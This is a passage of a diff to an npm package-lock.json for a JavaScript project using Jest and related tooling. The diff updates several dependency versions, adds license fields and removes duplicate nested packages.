-      "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.2.tgz",
+      "integrity": "sha512-cbGOjAptfM2LVmWhwRFHEKTPkLwNddVmuqYZQt895yXwAsWsXObCG+YN4DGQ/JBtT4GP1a1lPPdio2z413LmTg==",
+      "license": "MIT",
       "engines": {
         "node": ">=12.20"
       }
@@ -12225,6 +11556,7 @@
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
       "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^6.0.1"
       },
@@ -12236,9 +11568,10 @@
       }
     },
     "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
-      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -12246,21 +11579,11 @@
         "url": "https://github.com/chalk/ansi-regex?sponsor=1"
       }
     },
-    "node_modules/jest-watch-typeahead/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-watcher": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz",
       "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/test-result": "^27.5.1",
         "@jest/types": "^27.5.1",
@@ -12274,74 +11597,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-watcher/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-watcher/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-watcher/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-watcher/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-watcher/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-watcher/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-worker": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
       "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*",
         "merge-stream": "^2.0.0",
@@ -12351,18 +11611,11 @@
         "node": ">= 10.13.0"
       }
     },
-    "node_modules/jest-worker/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-worker/node_modules/supports-color": {
       "version": "8.1.1",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
       "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0"
       },
@@ -12374,9 +11627,10 @@
       }
     },
     "node_modules/jiti": {
-      "version": "1.21.0",
-      "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz",
-      "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==",
+      "version": "1.21.7",
+      "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz",
+      "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==",
+      "license": "MIT",
       "bin": {
         "jiti": "bin/jiti.js"
       }
@@ -12384,12 +11638,14 @@
     "node_modules/js-tokens": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
-      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+      "license": "MIT"
     },
     "node_modules/js-yaml": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
       "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^2.0.1"
       },
@@ -12401,6 +11657,7 @@
       "version": "16.7.0",
       "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz",
       "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==",
+      "license": "MIT",
       "dependencies": {
         "abab": "^2.0.5",
         "acorn": "^8.2.4",
@@ -12443,45 +11700,52 @@
       }
     },
     "node_modules/jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
+      "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
+      "license": "MIT",
       "bin": {
         "jsesc": "bin/jsesc"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=6"
       }
     },
     "node_modules/json-buffer": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
-      "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+      "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==",
+      "license": "MIT"
     },
     "node_modules/json-parse-even-better-errors": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
-      "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="
+      "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
+      "license": "MIT"
     },
     "node_modules/json-schema": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
-      "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+      "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==",
+      "license": "(AFL-2.1 OR BSD-3-Clause)"
     },
     "node_modules/json-schema-traverse": {
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
-      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
     },
     "node_modules/json-stable-stringify-without-jsonify": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
-      "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="
+      "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",
+      "license": "MIT"
     },
     "node_modules/json5": {
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+      "license": "MIT",
       "bin": {
         "json5": "lib/cli.js"
       },
@@ -12493,6 +11757,7 @@
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
       "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+      "license": "MIT",
       "dependencies": {
         "universalify": "^2.0.0"
       },
@@ -12504,6 +11769,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/jsonpath/-/jsonpath-1.1.1.tgz",
       "integrity": "sha512-l6Cg7jRpixfbgoWgkrl77dgEj8RPvND0wMH6TwQmi9Qs4TFfS9u5cUFnbeKTwj5ga5Y3BTGGNI28k117LJ009w==",
+      "license": "MIT",
       "dependencies": {
         "esprima": "1.2.2",
         "static-eval": "2.0.2",
@@ -12526,6 +11792,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz",
       "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -12534,6 +11801,7 @@
       "version": "3.3.5",
       "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz",
       "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==",
+      "license": "MIT",
       "dependencies": {
         "array-includes": "^3.1.6",
         "array.prototype.flat": "^1.3.1",
@@ -12548,6 +11816,7 @@
       "version": "4.5.4",
       "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
       "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
+      "license": "MIT",
       "dependencies": {
         "json-buffer": "3.0.1"
       }
@@ -12556,6 +11825,7 @@
       "version": "6.0.3",
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
       "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -12564,6 +11834,7 @@
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
       "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -12572,19 +11843,22 @@
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz",
       "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 8"
       }
     },
     "node_modules/language-subtag-registry": {
-      "version": "0.3.22",
-      "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz",
-      "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w=="
+      "version": "0.3.23",
+      "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz",
+      "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==",
+      "license": "CC0-1.0"
     },
     "node_modules/language-tags": {
       "version": "1.0.9",
       "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz",
       "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==",
+      "license": "MIT",
       "dependencies": {
         "language-subtag-registry": "^0.3.20"
       },
@@ -12593,9 +11867,10 @@
       }
     },
     "node_modules/launch-editor": {
-      "version": "2.6.1",
-      "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.6.1.tgz",
-      "integrity": "sha512-eB/uXmFVpY4zezmGp5XtU21kwo7GBbKB+EQ+UZeWtGb9yAM5xt/Evk+lYH3eRNAtId+ej4u7TYPFZ07w4s7rRw==",
+      "version": "2.10.0",
+      "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.10.0.tgz",
+      "integrity": "sha512-D7dBRJo/qcGX9xlvt/6wUYzQxjh5G1RvZPgPv8vi4KRU99DVQL/oW7tnVOCCTm2HGeo3C5HvGE5Yrh6UBoZ0vA==",
+      "license": "MIT",
       "dependencies": {
         "picocolors": "^1.0.0",
         "shell-quote": "^1.8.1"
@@ -12605,6 +11880,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
       "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -12613,6 +11889,7 @@
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
       "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "^1.2.1",
         "type-check": "~0.4.0"
@@ -12625,6 +11902,7 @@
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/lie/-/lie-3.1.1.tgz",
       "integrity": "sha512-RiNhHysUjhrDQntfYSfY4MU24coXXdEOgw9WGcKHNeEwffDYbF//u87M1EWaMGzuFoSbqW0C9C6lEEhDOAswfw==",
+      "license": "MIT",
       "dependencies": {
         "immediate": "~3.0.5"
       }
@@ -12633,6 +11911,7 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz",
       "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -12640,13 +11919,15 @@
     "node_modules/lines-and-columns": {
       "version": "1.2.4",
       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
-      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
+      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+      "license": "MIT"
     },
     "node_modules/lint-staged": {
       "version": "12.5.0",
       "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-12.5.0.tgz",
       "integrity": "sha512-BKLUjWDsKquV/JuIcoQW4MSAI3ggwEImF1+sB4zaKvyVx1wBk3FsG7UK9bpnmBTN1pm7EH2BBcMwINJzCRv12g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cli-truncate": "^3.1.0",
         "colorette": "^2.0.16",
@@ -12678,6 +11959,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-9.4.0.tgz",
       "integrity": "sha512-VL+lNrEoIXww1coLPOmiEmK/0sGigko5COxI09KzHc2VJXJsQ37UaQ+8quuxjDeA7+KnLGTWRyOXSLLR2Wb4jw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -12690,6 +11972,7 @@
       "resolved": "https://registry.npmjs.org/listr2/-/listr2-4.0.5.tgz",
       "integrity": "sha512-juGHV1doQdpNT3GSTs9IUN43QJb7KHdF9uqg7Vufs/tG9VTzpFphqF4pm/ICdAABGQxsyNn9CiYA3StkI6jpwA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cli-truncate": "^2.1.0",
         "colorette": "^2.0.16",
@@ -12712,26 +11995,12 @@
         }
       }
     },
-    "node_modules/listr2/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
     "node_modules/listr2/node_modules/cli-truncate": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz",
       "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "slice-ansi": "^3.0.0",
         "string-width": "^4.2.0"
@@ -12743,35 +12012,19 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
-    "node_modules/listr2/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dev": true,
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/listr2/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
-      "dev": true
-    },
     "node_modules/listr2/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
       "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/listr2/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -12781,6 +12034,7 @@
       "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz",
       "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "astral-regex": "^2.0.0",
@@ -12795,6 +12049,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -12808,6 +12063,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz",
       "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.11.5"
       }
@@ -12816,6 +12072,7 @@
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz",
       "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==",
+      "license": "MIT",
       "dependencies": {
         "big.js": "^5.2.2",
         "emojis-list": "^3.0.0",
@@ -12829,6 +12086,7 @@
       "version": "1.10.0",
       "resolved": "https://registry.npmjs.org/localforage/-/localforage-1.10.0.tgz",
       "integrity": "sha512-14/H1aX7hzBBmmh7sGPd+AOMkkIrHM3Z1PAyGgZigA1H1p5O5ANnMyWzvpAETtG68/dC4pC0ncy3+PPGzXZHPg==",
+      "license": "Apache-2.0",
       "dependencies": {
         "lie": "3.1.1"
       }
@@ -12837,6 +12095,7 @@
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
       "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^5.0.0"
       },
@@ -12850,38 +12109,45 @@
     "node_modules/lodash": {
       "version": "4.17.21",
       "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+      "license": "MIT"
     },
     "node_modules/lodash.debounce": {
       "version": "4.0.8",
       "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
-      "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow=="
+      "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==",
+      "license": "MIT"
     },
     "node_modules/lodash.memoize": {
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
-      "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag=="
+      "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==",
+      "license": "MIT"
     },
     "node_modules/lodash.merge": {
       "version": "4.6.2",
       "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
